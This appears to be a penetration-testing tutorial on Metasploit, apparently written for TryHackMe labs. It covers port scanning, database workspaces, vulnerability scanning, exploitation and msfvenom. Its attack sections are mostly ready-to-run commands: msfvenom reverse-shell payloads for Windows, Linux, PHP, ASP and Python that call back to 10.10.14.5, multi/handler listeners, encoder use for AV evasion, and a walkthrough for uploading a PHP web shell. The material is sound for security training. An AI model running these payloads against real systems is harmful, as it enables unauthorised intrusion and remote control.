Metasploit Exploitation Mastery

Part 2

Port Scanning • Database Management • Vulnerability Assessment • Exploitation • Msfvenom

Introduction: Beyond the Basics

You've learned the fundamentals of Metasploit. Now it's time to become dangerous. This guide covers the entire exploitation workflow-from discovering open ports to delivering custom payloads that bypass defenses. By the end, you'll understand how professional penetration testers chain together Metasploit's modules to fully compromise target systems.

Part 1: Port Scanning with Metasploit

Why Port Scan from Metasploit?

You might think: 'Why use Metasploit for port scanning when I have Nmap?' Great question! Here's the truth:

- Nmap is FASTER and more feature-rich for pure scanning
- Metasploit scans INTEGRATE directly with the database
- Results automatically populate RHOSTS for exploits
- Specialized scanners exist for specific services

Bottom line: Use Nmap for speed. Use Metasploit when you want everything automated in one workflow.

Finding Port Scan Modules

`search portscan`

Available scanners:

`auxiliary/scanner/portscan/tcp` - Basic TCP connect scan

`auxiliary/scanner/portscan/syn` - SYN scan (stealthier)

`auxiliary/scanner/portscan/xmas` - XMAS scan (firewall detection)

`auxiliary/scanner/portscan/ack` - ACK scan (firewall bypass)

Common Scan Options Explained

CONCURRENCY: How many targets to scan simultaneously (default: 10)

PORTS: Port range. Example: 1-1000, 80,443,8080, 1-65535

RHOSTS: Target IP(s). Single IP, range, or CIDR notation

THREADS: Concurrent threads per scan. More = faster (default: 1)

Pro Tip: Run Nmap Directly from msfconsole

You can run Nmap commands directly without leaving Metasploit:

```
nmap -sS 10.10.10.40
```

This runs a SYN scan and shows results in msfconsole. Fast and convenient!

UDP Service Identification

Don't forget UDP! Many critical services run on UDP:

```
use auxiliary/scanner/discovery/udp_sweep
```

This quickly identifies:

- DNS (port 53)
- SNMP (port 161)
- NetBIOS (port 137)
- TFTP (port 69)

Why it matters: UDP services are often overlooked but can provide easy wins (SNMP community strings, NetBIOS enumeration, etc.)

SMB Service Scanning (Critical for Windows)

SMB (port 445) is a goldmine for Windows penetration testing:

```
use auxiliary/scanner/smb/smb_version
```

This reveals:

- Windows version (7, 10, Server 2012, etc.)
- Service Pack level
- Computer name
- Workgroup/Domain

Other useful SMB scanners:

`smb_enumshares` - Lists shared folders

`smb_enumusers` - Lists user accounts

`smb_login` - Brute force SMB credentials

Part 2: Database Management (Essential for Real Engagements)

Why Use the Database?

Imagine testing 50 hosts with different vulnerabilities. Without a database, you'd:

• Manually track which hosts you've scanned

• Re-enter target IPs for every module

• Lose all your data when you exit msfconsole

• Have no record of what you've compromised

The database solves ALL of this!

Initial Database Setup (First Time Only)

On Kali Linux or custom installs, run these ONCE:

```
systemctl start postgresql
```

(Starts the PostgreSQL database)

```
sudo -u postgres msfdb init
```

(Initializes Metasploit's database)

Note: TryHackMe AttackBox already has this done! This is only for your own systems.

Verify Database Connection

In msfconsole:

`db_status`

You should see:

```
[*] Connected to msf. Connection type: postgresql.
```

Workspaces: Organize Your Projects

Workspaces let you separate different engagements:

```
workspace
```

(Lists all workspaces, * shows current)

```
workspace -a client_pentest
```

(Creates new workspace called 'client_pentest')

```
workspace client_pentest
```

(Switches to that workspace)

`workspace -d old_project`

(Deletes a workspace)

The Power Move: db_nmap

This automatically saves ALL scan results to the database:

`db_nmap -sV -p- 10.10.10.40`

What happens:

1. Runs full Nmap scan (-sV version detection, -p- all ports)
2. Saves host information automatically
3. Saves discovered services with versions
4. Makes everything queryable later

Querying Your Data

`hosts`

Shows all discovered hosts with:

• IP address
• MAC address
• Hostname
• OS information

`services`

Shows all discovered services:

• Host IP
• Port number
• Protocol (TCP/UDP)
• Service name
• Version information

Search for specific services:

`services -S http`

(Shows only HTTP services across ALL hosts)

The Magic Command: hosts -R

This automatically populates RHOSTS with all discovered targets!

Example workflow:

`use auxiliary/scanner/smb/smb_ms17_010`

`hosts -R`

→ RHOSTS automatically set to all hosts in database!

`run`

Result: Scans ALL targets for MS17-010 without typing a single IP!

Part 3: Vulnerability Scanning and Assessment

Finding Low-Hanging Fruit

'Low-hanging fruit' = easily exploitable vulnerabilities that provide immediate access. Think:

• Unpatched SMB (MS17-010 EternalBlue)
• Anonymous FTP with interesting files
• Default credentials on SSH/RDP/VNC
• Web apps with SQL injection
• Bluekeep vulnerability in RDP

Example: VNC Vulnerability Scanning

Let's say your scan found VNC (port 5900). Search for VNC modules:

```
search vnc
```

Useful modules appear:

`auxiliary/scanner/vnc/vnc_none_auth` - Tests for VNC with no password

`auxiliary/scanner/vnc/vnc_login` - Brute forces VNC passwords

Use the info command to learn more:

```
info auxiliary/scanner/vnc/vnc_login
```

Part 4: Exploitation in Action

Remember: Metasploit has 2000+ exploits! The framework isn't just a tool-it's a complete exploitation platform.

Understanding Payload Selection

Every exploit needs a payload. Think of it this way:

Exploit = The key that unlocks the door

Payload = What you do once inside

View available payloads for an exploit:

```
show payloads
```

Common Payload Types

`generic/shell_reverse_tcp` - Basic command shell (works anywhere)

`windows/x64/meterpreter/reverse_tcp` - Advanced Meterpreter shell (BEST for Windows)

`windows/x64/exec` - Executes a command (quick and dirty)

`windows/x64/messagebox` - Pops up a message (proof of concept)

Choosing Your Payload

```
set payload 9
```

(Uses payload #9 from the list)

Or use the full name:

```
set payload windows/x64/meterpreter/reverse_tcp
```

Launching the Attack

After setting RHOSTS, LHOST, LPORT, and payload:

`Exploit` or **`run`**

If successful, you'll see connection messages and get a shell!

Managing Active Sessions

Background a session:

CTRL+Z

(Keeps session alive but returns to msfconsole)

List all sessions:

```
sessions
```

Interact with a specific session:

```
sessions -i 1
```

Kill a session:

```
sessions -k 1
```

Upgrade shell to Meterpreter:

```
sessions -u 1
```

Part 5: Msfvenom - The Payload Generator

What is Msfvenom?

Msfvenom creates standalone payloads you can deploy anywhere:

- Windows .exe files
- Linux .elf binaries
- PHP web shells
- Python scripts
- Android APKs

Perfect for: Web app exploitation, social engineering, persistence mechanisms

Exploring Available Payloads

`msfvenom -l payloads`

Shows 562+ payloads for every platform imaginable!

Common Msfvenom Payload Examples

Windows Executable (Most Common)

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe > shell.exe
```

Linux Executable

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf > shell.elf
```

Don't forget to make it executable: chmod +x shell.elf

PHP Web Shell

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw > shell.php
```

ASP Web Shell (IIS servers)

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f asp > shell.asp
```

Python Script

```
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.5 LPORT=4444 -f raw > shell.py
```

Using Encoders (Limited AV Evasion)

Warning: Encoders DON'T reliably bypass modern antivirus! They just obfuscate the payload.

Example with Base64 encoding:

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 -f raw -e php/base64
```

Setting Up Handlers to Catch Shells

Your msfvenom payload connects BACK to you. You need a listener (handler) to catch it!

Step 1: Start Metasploit

```
msfconsole
```

Step 2: Set up multi/handler

```
use exploit/multi/handler
```

Step 3: Set the SAME payload you used in msfvenom

```
set payload windows/meterpreter/reverse_tcp
```

Step 4: Set LHOST and LPORT (SAME as msfvenom!)

```
set LHOST 10.10.14.5
set LPORT 4444
```

Step 5: Start listening

```
exploit
```

Now when victim runs your payload, you catch the shell!

Real-World Example: Web Shell Upload

Scenario: You found a file upload vulnerability on a PHP web app.

Step 1: Generate PHP shell

```
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=7777 -f raw > shell.php
```

Step 2: Edit shell.php (add PHP tags)

Add at beginning: <?php

Add at end: ?>

Step 3: Set up handler in msfconsole

```
use exploit/multi/handler
set payload php/reverse_php
set LHOST 10.10.14.5
set LPORT 7777
exploit
```

Step 4: Upload shell.php to target

Step 5: Navigate to uploaded file in browser

BOOM! Shell connects back to your handler!

Key Takeaways

✓ Port scanning integrates with database for automated workflows

✓ Database management essential for multi-target engagements

✓ hosts -R automatically populates RHOSTS from database

✓ Workspaces organize different projects and clients

✓ Vulnerability scanning finds low-hanging fruit quickly

✓ Payload selection critical for successful exploitation

✓ Session management allows attacking multiple targets

✓ Msfvenom creates standalone payloads for any platform

✓ Multi/handler catches reverse shells from msfvenom

✓ LHOST, LPORT, and payload MUST match between venom and handler

Conclusion

You've now mastered the complete Metasploit exploitation workflow. From reconnaissance with port scanning, through database-driven targeting, to delivering custom payloads that bypass defenses-you understand how professional penetration testers chain together Metasploit's capabilities.

Remember the progression:

1. Scan → Find open ports and services
2. Enumerate → Identify versions and configurations
3. Search → Find relevant exploits and scanners
4. Exploit → Deliver payload and gain access
5. Post-Exploit → Maintain access and escalate privileges

Metasploit isn't just a tool-it's a complete ecosystem for security testing. Master these fundamentals, and you'll be ready for advanced techniques like pivoting, privilege escalation, and persistent backdoors.

Keep practicing. Stay ethical. Happy hacking! 🔐